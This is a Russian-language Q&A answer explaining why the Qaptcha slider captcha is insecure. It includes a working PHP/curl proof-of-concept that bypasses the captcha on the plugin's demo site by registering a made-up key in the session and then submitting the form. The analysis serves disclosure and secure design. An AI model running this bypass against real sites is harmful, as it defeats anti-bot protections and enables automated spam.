Ответ 1
К сожалению, это не похоже на безопасную капчу.
В конце этого сообщения есть пример кода, который может обойти его. Я написал этот script, не глядя на какой-либо из их исходного кода (php или javascript). Я просто понюхал несколько HTTP-запросов, увидел, что он делает, и попытался подражать ему. Я теперь посмотрел на их JS-код, но все же не на PHP, поэтому даже без видимого исходного кода это можно обойти.
Мое быстрое предположение о том, как он работает на основе успехов и неудач:
- Вы загружаете форму на свою страницу, создается сеанс PHP с предположительно отсутствием данных.
- Загружается JS script, который генерирует qaptcha_key и добавляет его в форму.
- Этот ключ создается JavaScript и не сохраняется на сервере (пока).
- Вы перемещаете ползунок вправо, jQuery отправляет "qaptcha_key" на PHP через Ajax, а затем ключ хранится в сеансе (ключ не секрет).
- Вы отправляете форму, которая включает qaptcha_key, которая ранее была отправлена через Ajax, если вы переместили ползунок.
- Если в сеансе присутствует соответствующая qaptcha_key (от перемещения слайдера), форма считается действительной. Если такой ключ отсутствует, они предполагают, что вы не перемещали ползунок (или отключили JS), а поскольку сеанс не содержит qaptcha_key, форма недействительна.
Можно ли сделать его более безопасным? Не легко, на мой взгляд. Чтобы быть в безопасности, секрет должен храниться на сервере, и он не может быть легко получен через любые сценарии или HTTP-запросы на сервер. То есть, создание запроса Ajax на основе какого-либо общедоступного значения для аутентификации может по-прежнему подделываться с использованием Ajax или HTTP-запросов, подобных моему примеру ниже. В принципе, решение captcha должно храниться на сервере и интерпретироваться человеком (надеюсь, не компьютером) и отправляться обратно на сервер.
Вот код, который вы можете запустить, чтобы обойти его. В основном, если вы запустите это, вы увидите:
Form can be submited
First Name : A Test
Last Name : Of Qaptcha
в результате вывода. Как вы можете видеть в коде, я просто использую один и тот же ключ снова и снова. Неважно, каков ключ, потому что клиент сообщает серверу ключа, и когда вы отправляете форму, Qaptcha просто проверяет, соответствует ли представленное вместе с формой значение тому, что хранится в сеансе PHP. Поэтому значение ключа не имеет значения, вам просто нужно сообщить серверу, что он есть перед отправкой формы.
Я подозреваю, что это только вопрос времени, когда спамеры используют широко используемый обход для форм Qaptcha и интегрируют его в своих пауков.
Доказательство концепции:
<?php
$COOKIE_FILE = '/tmp/cookies.txt'; // The cookie file to use for storing the PHP session ID cookie
$FIRST_NAME = 'A Test'; // first name to send
$LAST_NAME = 'Of Qaptcha'; // last name to send
if (file_exists($COOKIE_FILE)) unlink($COOKIE_FILE); // clear cookies on start - just prevents re-using the same PHPSESSID over and over
$fake_qaptcha_key = 'thisIsAFakeKey12345'; // arbitrary qaptcha_key - normally generated by client JavaScript
// fetch the form - this creates a PHP session and gives us a cookie (yum)
$first = fetch_url('http://demos.myjqueryplugins.com/qaptcha/');
// This step is important - this stores a "qaptcha_key" in the PHP session that matches our session cookie
// We can make the key up in this step, it doesn't matter what it is or where it came from
$params = array('action' => 'qaptcha', 'qaptcha_key' => $fake_qaptcha_key);
$second = fetch_url('http://demos.myjqueryplugins.com/qaptcha/php/Qaptcha.jquery.php', 'POST', $params);
// Now submit the form along with the same qaptcha_key we told the server about in the last step
// As long as a form field is submitted that has the same name as the qaptcha_key we just told the server about, the captcha is bypassed
$params = array('firstname' => $FIRST_NAME, 'lastname' => $LAST_NAME, $fake_qaptcha_key => '', 'submit' => 'Submit Form');
$third = fetch_url('http://demos.myjqueryplugins.com/qaptcha/', 'POST', $params);
// echo the contents so you can see it said form was accepted.
echo $third;
// basic function that uses curl to fetch a URL with get/post
function fetch_url($url, $method = 'GET', $params = array())
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_COOKIEJAR, $GLOBALS['COOKIE_FILE']);
curl_setopt($ch, CURLOPT_COOKIEFILE, $GLOBALS['COOKIE_FILE']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
if ($method == 'POST') {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
}
$return = curl_exec($ch);
return $return;
}
Надеюсь, это ответ на вопрос ясно для вас.